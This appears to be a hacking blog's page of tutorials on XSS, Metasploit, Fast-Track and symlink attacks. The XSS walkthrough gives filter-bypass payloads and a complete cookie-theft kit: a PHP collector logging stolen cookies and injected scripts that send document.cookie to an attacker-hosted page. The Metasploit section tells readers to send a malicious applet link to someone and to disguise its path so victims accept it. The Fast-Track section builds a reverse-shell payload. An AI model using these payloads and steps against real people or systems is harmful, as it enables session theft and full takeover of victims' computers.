[VIDEO] String Based Sql Injection Level 1

Hello guys,
After so long, another video tutorial made by my friend.
The tutorial is uploaded on his channel, so please take a minute and subscribe to him to show your support!
More tutorials will come soon!

Read More

Complete Cross-site Scripting Walkthrough

Introduction

'XSS' also known as 'CSS' (Cross Site Scripting) is a very common vulnerability found in Web Applications, 'XSS' allows the attacker to inject malicious code , the reason of that is the developer trusts user inputs, or mis filtering issues ,then send back user input data to the client browser so the malicious code will execute.

XSS is Dangerous

 XSS is really dangerous , it's severity is High, because it could change the website DOM and could
lead to stealing credentials of the administrator , in these cases the attacker can control and
compromise the whole application.

What does the attacker want to achieve?

• Changing Setting
• Cookie theft
• False Advertising
• Steal a Form Tokens to make CSRF Easier
• And more , you have to be creative to exploit XSS.

XSS Type

There are Three Types of XSS
• Persistent (Stored) XSS
◦ Attack is stored on the website,s server
• Non Persistent (reflect) XSS
◦ user has to go through a special link to be exposed
• DOM-based XSS
◦ problem exists within the client-side script
we will discuss each kind of these in details , as you will see.

Persistent (Stored) XSS

wikipedia definition :The persistent (or stored) XSS vulnerability is a more devastating variant of a cross-site scripting flaw: it occurs when the data provided by the attacker is saved by the server, and then permanently displayed on "normal" pages returned to other users in the course of regular browsing, without proper HTML escaping. A classic example of this is with online message boards where users are allowed to post HTML formatted messages for other users to read. Simply Persistent XSS is occurs when the developer stores the user input data into database server or simply writing it in a file without a proper filtration , then sending them again to the client browser.

Persistent (Stored) XSS Demo

Here is a PHP code that suffers form Persistent XSS:

<?php
if(isset($_POST['btnSign']))
{
$message=trim($_POST['mtxMessage']);
$name=trim($_POST['txtName']);
// Sanitize message input
$message = stripslashes($message);
$message = mysql_real_escape_string($message);
// Sanitize name input
$name = mysql_real_escape_string($name);
$query = "INSERT INTO guestbook (comment,name) VALUES (
'$message','$name');";
$result=mysql_query($query) or die('<pre>'.mysql_error().'</pre>');
}
?>

the two parameters in that code “message” and “name” are not sanitized properly ,the ,we store these parameters into the guestbook table, So when we displaying these parameters back the client browser, it will execute the malicious JavaScript code. For Demonstrating this we will exploit DVWA application.

After Submitting this form , Our JS code has been executed

Non Persistent (Reflected) XSS

The non-persistent (or reflected) cross-site scripting vulnerability is by far the
most common type. These holes show up when the data provided by a web client, most commonly in HTTP query parameters or in HTML form submissions, is used immediately by server-side scripts to generate a page of results for that user, without properly sanitizing the request.

Non Persistent (Reflected) XSS Demo

Here is a php code that suffers form Reflected XSS

<?php

if(!array_key_exists("name",$_GET) | |$_GET['name'] == NULL || $_GET['name']==''){
$isempty=true;
}
else{
echo '<pre>';
echo 'Hello' . $_GET['name'];
echo '</pre>';
}
?>

AS you can see that the “name” parameter doesn't sanitized and echo back to the user , so when the user inject a malicious JS code , It will execute. Now we will inject our malicious js Code , For demonstrating we will inject

<script>alert(/xss/)</script> For Demonstrating this we will exploit DVWA application

will inject an alert box Code “<script>alert("xss")</script>”

DOM based XSS

DOM-based vulnerabilities occur in the content processing stages performed by the client, typically in client-side JavaScript. The name refers to the standard model for representing HTML or XML contents which is called the Document Object Model (DOM) JavaScript programs manipulate the state of a web page and populate it with dynamically-computed data primarily by acting upon the DOM.

simply that type occurs on the javascript code itself that the developer use in client side for example

         "A typical example is a piece of JavaScript accessing and extracting data from the URL via the
location.* DOM, or receiving raw non-HTML data from the server via XMLHttpRequest, and then using this information to write dynamic HTML without proper escaping,entirely on client side."

DOM based XSS Demo

Suppose the following code is used to create a form to let the user choose his/her preferred language. A default language is also provided in the query string, as the parameter “default”. we will use the following code for demonstration purposes:

<select>

<script>
document.write("<OPTION value=1>"+document.location.href.substring
(document.location.href.indexOf("default=")+8)+"</OPTION>");
document.write("<OPTION value=2>English</OPTION>");
</script>
</select>

The page is invoked with a URL such as: http://www.some.site/page.html?default=French
A DOM Based XSS attack against this page can be accomplished by sending the following URL to
a victim: http://www.some.site/page.html?default=<script>alert(document.cookie)</script>
The original Javascript code in the page does not expect the default parameter to contain HTML
markup, and as such it simply echoes it into the page (DOM) at runtime. The browser then renders
the resulting page and executes the attacker’s script:
alert(document.cookie)
Now we've discussed all types of XSS , so lets talk about some advanced techniques.

Advanced Techniques

there are some avoidance Techniques can be taken to protect a against XSS exploits but they are not
implementing well for example :
Tons of sites may seem vulnerable but not executing the code that occurs because some kind of
filtration methods and those may can be bypassed ,we will demonstrate most of them.

METHOD 1 : replace <script> with null string ""

here is the vulnerable code that suffers from reflected xss , that has a filtration :

<?php

if(!array_key_exists ("name", $_GET) || $_GET['name'] == NULL || $_GET['name'] == ''){
$isempty = true;
} else {
echo '<pre>';
echo 'Hello ' . str_replace('<script>', '', $_GET['name']);
echo '</pre>';
}
?>

as you can see ,in the previous code , the developer replace the string that called "<script>" with
a Null string "" .
Some common methods to bypass filteration is that you just have to replace the string "<script>"
with "<SCRIPT>" because the developer search for lowercase of "<script>" , so we bypass
it by change our script to <SCRIPT>.......</SCRIPT>
Here is an other way to bypass the previous filteration

<script type=text/javascript>alert("XSS")</script>

Please note its bad practice to use alert("XSS") to test for XSS because most of known sites block
the keyword XSS before.
METHOD 2 : magic quotes filtration

in this Technique , the developer uses technique that called magic quotes filtration ,by using
a PHP function called "addslashes()" that add slash before any special chars. So Our traditional
JavaScript code doesn't work
there are many ways to bypass that filter , we will discuss two of them
1- the easiest way to bypass it is Just DONT USE magic quotes simple is that , for example
declaring a variable and assigned , it to a number , then alert that variable.
AS you can see here: <script>var val= 1; alert(val)</script>
2- this way is some what tricky , in this way we use a built-in Function that convert Decimal values
into ASCII values , you can find a complete table of ASCII here http://www.asciitable.com/
this will help you write what you want OR you can use hackbar firfox add-ons to help you on
converting ASCII to decimal In my examples ill be writing "XSS" this is the following code
"120 115 115", Ok we now got the Decimal value of our string,we need to know what function I
n javascript converts this to ASCII this function called "String.fromCharCode()",and to use this with
alert as example , you dont need to use quotes any more.
<script>alert(String.fromCharCode(120, 115, 115)</script>
Ok now this will display or message in this case "XSS", this method is very useful for bypassing
magic quotes.

How Can an Attacker Steal cookies?

At first glance you hear about Stealing Cookies , you may think it need a hard work to
implement or even to understand , but i tell you that is so simple , just you will need
some programming background and XSS Vulnerability ,Simple is that .
the Scenario of stealing cookie is that , We will create a PHP file called collect_cookie.php
then we will upload it to any webhosting company , after that we will inject a java script
code that will send Cookies to our malicious website , When the php file recieve the
Cookie information , it will save it in afile called stolen_cookie.txt
To can steal cookie , we need to some issues :
• A PHP Script that will recieve the cookie
• the javascript code that will steal the cookie and send it to our malicious site
• a web hosting company that will host our php file

First : collect_cookie.php

Here is the PHP script that will use, to collecting Cookie and save them into stolen_cookie.txt

<?php

$collectedCookie=$HTTP_GET_VARS["cookie"];
$date=date("l ds of F Y h:i:s A");
$user_agent=$_SERVER['HTTP_USER_AGENT'];
$file=fopen('stolen_cookie.txt','a');
fwrite($file,"DATE:$date || USER AGENT:$user_agent || COOKIE:$cookie \n");
fclose($file);
echo '<b>Sorry , this page is under construction</b></br></br>Please Click<a
href="http://www.google.com/">here</a> to go back to previous page ';
?>

So lets understand what the script will do :
$collectedCookie=$HTTP_GET_VARS["cookie"];
in this line we will store the data that is stored in a get variable called cookie then
store it in avariable called collectedCookie
$date=date("l ds of F Y h:i:s A");
here we store the date of the connection Occurs , it tells us when these cookies have been
stolen.

$user_agent=$_SERVER['HTTP_USER_AGENT'];

here we store the user_agent of the victim for further attacks if it needs to.

$file=fopen('stolen_cookie.txt','a');

here we create a file called stolen_cookie.txt that has victim's cookie information

fwrite($file,"DATE:$date || USER AGENT:$user_agent || COOKIE:$collectedCookie \n");
here we save the data as this format (“DATE: || USER AGENT || COOKIE”)
fclose($file);

her we close the file handle

echo '<b>Sorry , this page is under construction</b></br></br>Please Click<a
href="http://www.google.com/">here</a> to go back to previous page ';
here we print message on the screen (“Sorry , this page is under construction”)

and give him a link to click on it that send it to google.
Here we have finished the first filecthat will collect the cookie information
Second : javascript code

Here is the JavaScript code that we will inject into the victim server or browser.
We can inject any one of these scripts :

<a onclick="document.location='http://127.0.0.1/collect_cookie.php?

cookie='+escape(document.cookie);" href="#">Click here for Details</a>

this script need user interaction because it print a link to the user , if the user
clicks on that link ,the redirection to our site with the cookie information will be
Done.

<iframe width='0' height='0' frameborder='0'

src='<script>document.location='http://127.0.0.1/collect_cookie.php?
cookie='+escape(document.cookie);</script>' />

This script doesn't need user interaction ,here we will inject an iframe in the
victim website and it's hidden so the victim can't see that ,and the connection
will be done.
Finally we will find the cookie by browsing the file that called stolen_cookie.txt

Article By SOG

Read More

How To Hack Windows 8 Using Metasploit - java_signed_applet

Hello guys,

Today I have my first Metasploit tutorial! We will be pentesting Windows 8 (My PC) Using Metasploit on Kali, inside a virtual machine.
So lets get started!

First thing you need to do is open Metasploit by running "msfconsole" in your terminal.


After metasploit loads, type this command:

use multi/browser/java_signed_applet

Like the picture bellow:

Now You have to set you local port, in this exploit its called SRVPORT. The default port is 8080, you can set it to any port you want.

Just run the command bellow:

set SRVPORT [Port number]

Change [Port number to anything you like, I used 1337.

Now to change the path to the exploit, we can set the URIPATH to anything we want.
We can leave all the settings as it is, but it will look a little bit ugly, things like:

0.0.0.0:8080/Kgn3Tn

Changing them will make people accept it more easily, and it's more fun!

To change the URIPATH run the following command:

set URIPATH /

Like the picture bellow:

Now run the command "exploit"

The server will start on the port, and the path you set.

All you have to do now, is send the IP to someone to open. When they open it they'll see a screen like this:

If they ran it, a window will open, Check "I accept the risk and want to run this application" then click on "Run"

As soon as you run it, metasploit will start a meterpreter session to the target PC, and you'll have full access to the target PC!

Session Opened:

System info:

Hope you like it!
Here is the video tutorial, performing this attack!

Video available in HD, just change the quality! Vimeo Link: https://vimeo.com/64841698

Read More

How To Pentest With Your Android Device - dSploit

Hello guys!
Today I have a video tutorial about pentesting with you android device. I will be using a program called dSploit, it's free and you can download it HERE.

For this tutorial you need a ROOTED android device. that's it! :)

Video is available in HD, just change the quality. Enjoy! :)

Read More

How To Use Fast-Track | Fast Track Tutorial

Hello guys, Today I will show you how to use Fast-Track on Backtrack / Linux. Fast-Track is a tool used for exploiting. It uses other tools, to make pentesting a lot easier for us.
Fast-Track is available in three different forms,

• CLI
• Web
• Interactive

My favorite is WEB, because it's much easier to use, and this tutorial will be based on it as well.

There are many things that Fast-Track can do, but in this tutorial, I will just generate a payload just to give you a general idea on how Fast-Track is used.

The first thing you need to do is, Open your 

menu > BackTrack > Exploitation Tools > Network Exploitation Tools > Fast-Track > fastrack-web

or if You want to use your terminal, Open your terminal and type the following commands:

cd /pentest/exploits/fasttrack

and then

./fast-track.py -g

you should get output like this:

now open your browser, and open this:

http://127.0.0.1:44444

you should get a Fast-Track page, it looks something like this:

That's basically 50% of our job! Now all we have to do is choose the option, and fill in the input that it needs, or choose the number of your option in the terminal!
Alright, Now lets see an example of using it, we will generate a metasploit payload using Fast-Track. Follow me!

First thing you need to do is click on Payload Generator from the list on the left:

Now Fast-Track will provide you with a little description about the option you chose, and some fields that you need to fill (no all the time).

Now click on launch, a terminal should pop-up and show you some options that you need to choose from, just enter the number of the option and click enter.

Look at the pictures:

I chose Windows Shell Reverse_TCP which is option number "1"

in this picture I also chose option number "1" which was "avoid_utf8_tolower"

In this step it is asking for the IP of the attacker, just enter your IP address. You can find your IP address using the command "ifconfig" and then enter the PORT

And the last step, it will ask you if you want to start a listener, I answered with "yes"

Thats it! Now look in the directory that contains fast-track.py, you will find your payload there! =)

See how easy it is? Now you just have to brows and check all the different options you have!

Thank you for reading! =)

Read More

Symlink Tutorial

Hello Guys, Today I'm going to explain how to symlink websites in two different methods.
So Lets Start!

[#] Explanation
First I will explain what symlink can do, Symlinking is making Symbolic links to other websites on the same server to read their configuration files, connect to their database, and get the information needed to get access to their Control panel.
and that's about it :)

Read More